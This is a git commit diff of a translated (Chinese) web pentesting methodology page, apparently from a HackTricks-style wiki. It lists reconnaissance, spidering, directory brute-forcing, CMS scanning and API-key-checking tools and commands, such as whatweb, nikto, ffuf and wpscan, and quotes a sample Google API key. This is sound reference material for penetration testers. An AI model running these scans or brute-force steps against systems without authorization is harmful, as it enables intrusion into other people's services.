Translated ['src/pentesting-web/deserialization/basic-.net-deserializati

This commit is contained in:
Translator 2025-09-08 03:08:05 +00:00
parent 5b11fcca49
commit 320a83db6a
5 changed files with 517 additions and 269 deletions

View File

@ -447,6 +447,7 @@
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
- [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
- [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
- [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
- [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
- [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@ -929,4 +930,3 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -4,7 +4,7 @@
## 基本信息
Web 服务是最 **常见且广泛的服务**,并且存在很多 **不同类型的 vulnerabilities**。
Web 服务是最 **常见且范围广泛的服务**,存在许多 **不同类型的漏洞**。
**默认端口:** 80 (HTTP), 443(HTTPS)
```bash
@ -26,46 +26,46 @@ web-api-pentesting.md
## 方法论摘要
> 在此方法论中,我们假设你将攻击一个域名(或子域名),仅此而已。因此,你应该将此方法论应用到范围内每个发现的域名、子域名或具有未确定 web server 的 IP 上
> 在本方法论中,我们假定你将针对一个 domain或 subdomain进行攻击仅针对该目标。因此应当对范围内每个发现的 domain、subdomain 或运行不明 web server 的 IP 应用此方法论
- [ ] 从**identifying** web server 使用的 **technologies** 开始。如果你能成功识别出 tech寻找在测试其余部分需要注意的 **tricks**
- [ ] 该技术版本是否存在任何 **known vulnerability**
- [ ] 使用任何 **well known tech**?有什么 **useful trick** 可以提取更多信息?
- [ ] 是否有任何 **specialised scanner** 可运行(例如 wpscan
- [ ] 启动 **general purposes scanners**。你永远不知道它们是否会发现什么或找到有趣的信息。
- [ ] 从**initial checks**开始:**robots**, **sitemap**, **404** error 和 **SSL/TLS scan**(如果是 HTTPS
- [ ] 开始 **spidering** web 页面:现在是时候去**find** 所有可能的 **files, folders****parameters being used。** 同时,检查是否有任何 **special findings**
- [ ] _注意每当在 brute-forcing 或 spidering 过程中发现新目录时,应对其进行 spidering。_
- [ ] **Directory Brute-Forcing**:尝试对所有已发现的文件夹进行 brute force搜索新的 **files****directories**
- [ ] _注意每当在 brute-forcing 或 spidering 过程中发现新目录时,应对其进行 Brute-Forced。_
- [ ] **Backups checking**测试是否可以通过追加常见备份扩展名找到已发现文件**backups**
- [ ] **Brute-Force parameters**:尝试**find hidden parameters**。
- [ ] 一旦你**identified** 所有可能接受 **user input****endpoints**检查与其相关的各种 **vulnerabilities**
- [ ] [遵循此检查清单](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] 首先**识别** web server 使用的 **technologies**。如果能成功识别该 tech请在后续测试中留意相关 **tricks**
- [ ] 该 technology 的版本是否存在已知的 **known vulnerability**
- [ ] 是否使用了任何 **well known tech**?是否有任何 **useful trick** 可用于提取更多信息?
- [ ] 是否有需要运行的 **specialised scanner**(例如 wpscan
- [ ] 运行 **general purposes scanners**。你永远不知道它们是否会发现什么或提供有价值的信息。
- [ ] 从 **initial checks** 开始:检查 **robots**、**sitemap**、**404** 错误以及 **SSL/TLS scan**(如果为 HTTPS
- [ ] 开始对网页进行 **spidering**:现在是时候 **find** 出所有可能的 **files, folders** 及正在使用的 **parameters**。同时,检查是否有 **special findings**
- [ ] _注意在 brute-forcing 或 spidering 过程中发现任何新目录时,应对其进行 spidering。_
- [ ] **Directory Brute-Forcing**:尝试对所有已发现的文件夹进行 brute force寻找新的 **files****directories**
- [ ] _注意在 brute-forcing 或 spidering 过程中发现任何新目录时,应对其进行 Brute-Forced。_
- [ ] **Backups checking**通过附加常见的备份扩展名,测试是否能找到 **discovered files** **backups**
- [ ] **Brute-Force parameters**:尝试 **find hidden parameters**
- [ ] 一旦你 **identified** 所有可能接受 **user input****endpoints**就要检查与之相关的各种 **vulnerabilities**
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server 版本(易受攻击?)
## 服务器版本(是否易受攻击?)
### 识别
检查运行的 server **version** 是否存在 **known vulnerabilities**。\
响应的 **HTTP headers and cookies** 可能对 **identify** 正在使用的 **technologies** 和/或 **version** 非常有用。**Nmap scan** 可以识别 server 版本,但下面这些工具也可能有用:[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) 或 [**https://builtwith.com/**](https://builtwith.com)****
检查正在运行的服务器 **version** 是否存在 **known vulnerabilities**。\
**HTTP headers and cookies of the response** 对 **identify** 所使用的 **technologies** 和/或 **version** 非常有帮助。**Nmap scan** 可以识别服务器版本,但工具 [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
搜索 **是否有** [**web 应用的漏洞** **版本信息**](../../generic-hacking/search-exploits.md)
### **检查是否存在 WAF**
### **检查是否 WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Web 技术技巧
### Web 技术 技巧
一些用于在不同已知**技术**中**发现漏洞**的**技巧**
一些 **技巧** 用于在不同知名 **技术****发现漏洞**
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -100,28 +100,29 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
_请注意同一**域名**在不同的**端口**、**文件夹**和**子域**下可能使用不同的**技术**。_\
如果 web 应用使用任何之前列出的已知**tech/platform listed before**或**其他**,别忘了在互联网上搜索新的技巧(并告诉我!)。
_请注意**同一域名** 可能在不同的 **端口**、**目录** 和 **子域** 上使用 **不同的技术**._\
如果该 web 应用 使用 之前列出的任何知名 **技术/平台****任何其他**,别忘了 **在互联网上搜索** 新的技巧(并告诉我!)。
### 源代码审
### 源代码审
如果应用的**source code**可以在**github**上获取,除了你自己对该应用进行**White box test**之外,还有一些信息可能对当前的**Black-Box testing**有用:
如果应用的 **源代码** 可在 **github** 获取,除了你亲自对应用进行 **White box test** 外,还有一些 **信息** 可能对当前的 **Black-Box testing** 有用:
- 是否存在 **Change-log or Readme or Version** 文件,或任何通过 web 可访问的 **version info**
- 凭证是如何以及在哪里保存的?是否存在任何(可访问的?)包含凭证(用户名或密码)的**file**
- 密码是以**明文**、**加密**保存,还是使用了哪种**hashing algorithm**
- 是否使用任何**master key**来加密某些内容?使用了哪种**algorithm**
- 是否可以通过利用某些漏洞来**访问这些文件**
- 在 github 上是否有任何有趣的信息(已解决或未解决的)**issues**?或在**commit history**中(可能某个旧的 commit 中引入过密码
- 是否**Change-log 或 Readme 或 Version** 文件或任何通过 web 可访问的 **版本信息**
- **凭据** 是如何以及在哪里保存的?是否有任何(可访问的?)**文件** 包含凭据(用户名或密码)
- **密码****明文**、**加密** 还是使用了哪种 **哈希算法**
- 是否使用任何 **master key** 来加密某些东西?使用了哪种 **算法**
- 你能否通过利用某些漏洞 **访问这些文件中的任意一个**
- 在 **github** 中是否有任何有趣的信息(已解决和未解决的)**issues**?或者在 **commit history** 中(可能某个旧提交中引入了某个 **密码**
{{#ref}}
code-review-tools.md
{{#endref}}
### Automatic scanners
### 自动扫描器
#### General purpose automatic scanners
#### 通用自动扫描器
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -135,10 +136,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS 扫描器
如果使用 CMS别忘了**运行扫描器**,也许会发现有价值的信息
如果使用了 CMS别忘了**运行扫描器**,可能会发现有价值的内容
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 用于检测网站的安全问题。(GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 用于检测网站的安全问题。 (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **或** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -148,45 +149,45 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> 此时你应该已经掌握了一些关于客户端所使用的 web server 的信息(如果有提供任何数据)以及在测试中需要记住的一些技巧。如果幸运的话,你甚至已经发现了一个 CMS 并运行了一些扫描器
> 到此为止,你应该已经对客户端使用的 web server如果有提供数据有了一些了解并掌握在测试中需注意的一些技巧。如果幸运的话你甚至可能已经发现了 CMS 并运行了一些 scanner
## Step-by-step Web Application Discovery
## 逐步 Web Application 发现
> 从这一点开始我们将开始与 web 应用进行交互。
> 从这一点开始,我们将开始与 web application 交互。
### Initial checks
### 初步检查
**Default pages with interesting info:**
**带有有用信息的默认页面:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- 还要检查主页面和次级页面中的注释。
- 也检查主页面和次要页面中的注释。
**Forcing errors**
**触发错误**
当向 Web 服务器发送异常数据时,它们可能会 **表现异常**。这可能会导致 **漏洞****敏感信息泄露**。
当向 Web 服务器发送异常数据时,服务器可能会**异常行为**。这可能会打开 **vulnerabilities****泄露敏感信息**。
- 访问 **假页面**,例如 /whatever_fake.php (.aspx, .html, 等)
- 在 **cookie 值****参数值**添加 "\[]", "]]", 和 "\[\[" 来制造错误
- 通过在 **URL****末尾** **`/~randomthing/%s`** 输入来触发错误
- 尝试不同的 **HTTP Verbs**,例如 PATCH、DEBUG或使用错误的动词如 FAKE
- 访问 **伪造页面**,例如 /whatever_fake.php (.aspx,.html,.etc)
- 在 **cookie 值****参数值** **添加 "\[]", "]]", 和 "\[["**制造错误
- 通过在 **URL****末尾** 提供输入 **`/~randomthing/%s`** 来生成错误
- 尝试不同的 **HTTP Verbs**,例如 PATCH、DEBUG故意使用错误的 FAKE
#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
#### **检查是否可以上传文件 (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
如果你发现 **WebDav** **启用**,但在根目录没有足够权限进行 **文件上传**,尝试:
如果你发现 **WebDav** 已启用,但你在根目录没有足够的权限来 **上传文件**,尝试:
- 对凭证进行 **Brute Force**
- 通过 WebDav **上传文件** 到网页内部其他 **已发现文件夹****其余** 部分。你可能在其他文件夹中拥有上传权限。
- **Brute Force** 凭证
- 通过 WebDav **Upload files** 到网页中已发现的其他文件夹。你可能对其他文件夹具有上传权限。
### **SSL/TLS vulnerabilites**
### **SSL/TLS 漏洞**
- 如果应用程序在任何部分 **未强制使用 HTTPS**,那么它容易受到 **MitM** 攻击
- 如果应用通过 **HTTP 传输敏感数据(如密码)**,则这是一个严重漏洞。
- 如果应用在任何部分**没有强制使用 HTTPS**,则容易受到 **MitM** 攻击。
- 如果应用**通过 HTTP 发送敏感数据(如密码)**,则这是一个高危漏洞。
使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 来检查 **漏洞**(在 Bug Bounty 项目中这些类型的漏洞可能不会被接受),并使用 [**a2sv** ](https://github.com/hahwul/a2sv) 来复检这些漏洞
使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 检查 **vulnerabilities**(在 Bug Bounty 计划中这类漏洞可能不会被接受),并使用 [**a2sv**](https://github.com/hahwul/a2sv) 重新核实这些 vulnerabilities
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -202,53 +203,53 @@ Information about SSL/TLS vulnerabilities:
### Spidering
Web 应用内部启动某种 **spider**。spider 的目标是从被测试的应用中**找到尽可能多的路径**。因此,应使用 web 爬取和外部来源以发现尽可能多的有效路径。
web 应用内启动某种 **spider**。spider 的目标是从被测试的应用中**找到尽可能多的路径**。因此,应使用 web 爬行和外部来源来发现尽可能多的有效路径。
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider在 JS 文件中使用 LinkFinder并查询外部来源Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider带有用于 JS 文件的 LinkFinder并使用 Archive.org 作为外部来源。
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider也会标注“juicy files”。
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式 CLI HTML spider。也会在 Archive.org 中搜索。
- [**meg**](https://github.com/tomnomnom/meg) (go): 该工具不是 spider但很有用。你可以指定一个 hosts 文件和一个 paths 文件meg 会对每个 host 的每个 path 发起请求并保存响应。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 具有 JS 渲染能力的 HTML spider。然而看起来未维护,预编译版本较旧且当前代码无法编译。
- [**gau**](https://github.com/lc/gau) (go): 使用外部提供者wayback, otx, commoncrawl的 HTML spider
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 该脚本会找带参数的 URL 并列出它们。
- [**galer**](https://github.com/dwisiswant0/galer) (go): 带 JS 渲染能力的 HTML spider
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider具备 JS beautify 功能,能够在 JS 文件中搜索新路径。也可以看看 [JSScanner](https://github.com/dark-warlord14/JSScanner),它是 LinkFinder 的封装
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 用于从 HTML 源和嵌入的 javascript 文件中提取 endpoints。对 bug 猎人、red team、infosec 从业者很有用。
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用 Tornado 和 JSBeautifier 的 python2.7 脚本,用来从 JavaScript 文件解析相对 URL。对快速发现 AJAX 请求很有帮助。看起来未维护。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件 (HTML),它使用巧妙的正则表达式从混淆minify文件中查找并提取相对 URL。
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 使用多个工具从 JS 文件中收集有趣信息。
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 爬虫,可在 JS 文件中使用 LinkFinder并使用外部来源 (Archive.org, CommonCrawl.org, VirusTotal.com)
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML 爬虫,具有针对 JS 文件的 LinkFinder 并使用 Archive.org 作为外部来源。
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 爬虫,同时标记“juicy files”。
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式 CLI HTML 爬虫。也会在 Archive.org 中搜索。
- [**meg**](https://github.com/tomnomnom/meg) (go): 该工具不是蜘蛛但很有用。你可以提供一个 hosts 文件和一个 paths 文件meg 会对每个主机的每个路径进行抓取并保存响应。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 具有 JS 渲染能力的 HTML 爬虫。然而,看起来它没有维护,预编译版本较旧且当前代码无法编译。
- [**gau**](https://github.com/lc/gau) (go): 使用外部提供者wayback, otx, commoncrawl的 HTML 爬虫
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 该脚本会找带参数的 URL 并列出它们。
- [**galer**](https://github.com/dwisiswant0/galer) (go): 具有 JS 渲染能力的 HTML 爬虫
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 爬虫,具备 JS 美化能力,可在 JS 文件中搜索新路径。也可以看看 [JSScanner](https://github.com/dark-warlord14/JSScanner),它是 LinkFinder 的一个封装。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 从 HTML 源和嵌入的 javascript 文件中提取 endpoints。对 bug 猎人、red teamers、infosec ninjas 很有用。
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用 Tornado 和 JSBeautifier 的 python 2.7 脚本,用于从 JavaScript 文件中解析相对 URL。对轻松发现 AJAX 请求很有用。似乎未维护。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件 (HTML),它使用巧妙的正则表达式从混淆minify文件中查找并提取相对 URL。
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 使用多个工具从 JS 文件中收集有趣信息。
- [**subjs**](https://github.com/lc/subjs) (go): 查找 JS 文件。
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在 headless 浏览器中加载页面并打印出为加载页面而加载的所有 urls。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 一款内容发现工具,结合了前面几个工具的多种选项。
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 一个 Burp 扩展,用于在 JS 文件中找路径和参数。
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 给定 .js.map URL 时,该工具会获取美化后的 JS 代码。
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在 headless browser 中加载页面并打印出所有为加载页面所请求的 urls。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具,融合了前述工具的多种选项。
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 一个 Burp 扩展,用于在 JS 文件中找路径和参数。
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 给定 .js.map URL 时,获取美化后的 JS 代码的工具
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 用于为给定目标发现 endpoints 的工具。
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从 wayback machine 发现链接(也会下载 wayback 中的响应并找更多链接)。
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至填充表单)并使用特定的正则表达式查找敏感信息。
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite 是为网络安全专业人士设计的高级多功能 GUI web 安全 Crawler/Spider。
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 一个 Go 包和 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice),用于从 JavaScript 源代码中提取 URLs、paths、secrets 以及其他有意思的数据。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge 是一个简单的 **Burp Suite extension**,用于**从请求中提取参数和 endpoints**以创建自定义 fuzzing/枚举 的 wordlist。
- [**katana**](https://github.com/projectdiscovery/katana) (go): 非常棒的工具。
- [**Crawley**](https://github.com/s0rg/crawley) (go): 打印它能找到的每个链接
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从 wayback machine 发现链接(也会下载 wayback 中的响应并找更多链接)。
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至通过填写表单)并使用特定 regex 查找敏感信息。
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite 是为网络安全专设计的高级多功能 GUI web 安全 Crawler/Spider。
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 一个 Go 包和 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice),用于从 JavaScript 源代码中提取 URLs、paths、secrets 和其他有趣数据。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge 是一个简单的 **Burp Suite extension**,用于从请求中**提取参数和 endpoints**,以为 fuzzing 和枚举创建自定义 wordlist。
- [**katana**](https://github.com/projectdiscovery/katana) (go): 对此非常棒的工具。
- [**Crawley**](https://github.com/s0rg/crawley) (go): 打印它能够找到的每个 link
### Brute Force directories and files
从根目录开始进行 **brute-forcing**,并确保对使用**此方法**发现的**所有目录**以及通过**Spidering**发现的所有目录进行 **brute-force**(你可以递归地进行 brute-forcing并将已发现目录的名称追加在所用 wordlist 的开头)。\
从根目录开始进行 **brute-forcing**,并确保使用**此方法**对**发现的所有目录**进行 brute-force也对通过 **Spidering** **发现的所有目录**进行 brute-force你可以递归地进行 brute-forcing并在所用 wordlist 开头添加已发现目录的名称)。\
工具:
- **Dirb** / **Dirbuster** - 包含于 Kali**老旧**(且**慢**)但可用。允许自签名证书并支持递归搜索。与其它选项相比速度太慢。
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 它不允许自签名证书但**支持递归搜索
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 支持自签名证书,但**不**支持**递归**搜索。
- **Dirb** / **Dirbuster** - 包含在 Kali 中,**老旧**(且**慢**)但可用。允许 auto-signed certificates 和递归搜索。与其它选项相比太慢。
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 它不允许 auto-signed certificates 但**允许递归搜索**
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 它允许 auto-signed certificates,但**不**支持**递归**搜索。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): 这不是 spider但给定已发现的 URL 列表后会删除“重复”的 URL
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp 扩展,用于从不同页面的 Burp 历史中创建目录列表。
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 基于 js imports 移除具有重复功能的 URL。
- [**Chamaleon**](https://github.com/iustin24/chameleon): 使用 wapalyzer 检测所使用的技术并选择相应的 wordlists。
- [**uro**](https://github.com/s0md3v/uro) (python): 这不是蜘蛛,但给定已发现的 URL 列表后,它会删除“重复”的 URLs
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp 扩展,从不同页面的 burp 历史中创建目录列表。
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 基于 js imports 移除具有重复功能的 URLs
- [**Chamaleon**](https://github.com/iustin24/chameleon): 使用 wapalyzer 检测使用的技术并选择要使用的 wordlists。
**推荐的字典:**
**Recommended dictionaries:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -267,41 +268,41 @@ Information about SSL/TLS vulnerabilities:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_注意每当在 brute-forcing 或 spidering 过程中发现新目录时,应对其进行 Brute-Force。_
_注意每当在 brute-forcing 或 spidering 过程中发现新目录时,应对其进行 Brute-Force。_
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找 HTML 中可能导致 takeover 的断链
- **File Backups**: 一旦找到所有文件,查找所有可执行文件的备份(例如 "_.php_", "_.aspx_" ...)。常见的备份命名变体包括 _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 你也可以使用工具 [**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**。**
- **Discover new parameters**: 你可以使用像 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可能,应尝试在每个可执行的 web 文件中搜索隐藏参数。**
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 在 HTML 中查找可能导致 takeover 的 broken links
- **File Backups**: 找到所有文件后,查找所有可执行文件的备份("_.php_", "_.aspx_"...)。常见的备份命名变体有 _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 你也可以使用工具 [**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**。**
- **Discover new parameters**: 你可以使用像 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **这样的工具来发现隐藏参数。如果可能,试着在每个可执行的 web 文件上搜索隐藏参数。**
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** 检查所有文件的注释,可能会发现 **credentials****隐藏功能**
- 如果你在**CTF**,一个“常见”技巧是在页面右侧的注释中**隐藏**信息(使用**数百个空格**,以便在浏览器中打开源代码时看不到数据)。另一种可能性是使用**多个换行符**并在页面底部的注释中隐藏信息
- **API keys**: 如果你**找到任何 API key**,有一些项目指导如何利用不同平台的 API key[**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: 如果你发现任何类似 **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik 的 API key可以使用项目 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 来检查该 key 可以访问哪些 api。
- **S3 Buckets**: 在 spidering 过程中查看是否有任何 **subdomain****link** 与某个 **S3 bucket** 相关。如果有,参见 [**check** the **permissions** of the bucket](buckets/index.html)。
- **Comments:** 检查所有文件的注释,可能会发现 **credentials****隐藏功能**
- 如果你在**CTF**,一个“常见”的技巧是将 **信息**隐藏在页面**右侧**的注释中(使用**数百个空格**,这样如果在浏览器中打开源码你就不会看到数据)。另一种可能是使用**多个换行**并在页面底部的注释中**隐藏信息**
- **API keys**: 如果你**发现任何 API key**,有一些项目说明如何使用不同平台的 API keys [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: 如果你发现任何看起来像 **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik 的 API key可以使用项目 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 来检查该 key 可以访问哪些 apis
- **S3 Buckets**: 在 spidering 查看是否有任何 **subdomain****link** 与某个 **S3 bucket** 相关。如果是这种情况,去 [**check** the **permissions** of the bucket](buckets/index.html)。
### Special findings
在执行 **spidering****brute-forcing** 时,你可能会发现一些需要注意的**有趣**内容
在执行 **spidering****brute-forcing** 时,你可能会发现需要特别**注意**的**有趣**的**东西**
**Interesting files**
- 在 **CSS** 文件中查找指向其他文件的 **links**
- [If you find a _**.git**_ file some information can be extracted](git.md)
- 如果你找到 _**.env**_,可能会发现 api keys、db 密码和其他信息。
- 如果你发现 **API endpoints**,你[也应该测试它们](web-api-pentesting.md)。这些虽然不是文件,但通常“看起来像”文件。
- **JS files**: 在 spidering 部分提到了几种可从 JS 文件中提取路径的工具。此外,建议**监控**每个发现的 JS 文件,因为在某些情况下,文件的改变可能表明代码中引入了潜在漏洞。你可以使用例如 [**JSMon**](https://github.com/robre/jsmon)**。**
- 你还应该使用 [**RetireJS**](https://github.com/retirejs/retire.js/) 或 [**JSHole**](https://github.com/callforpapers-source/jshole) 检查发现的 JS 文件是否存在已知漏洞。
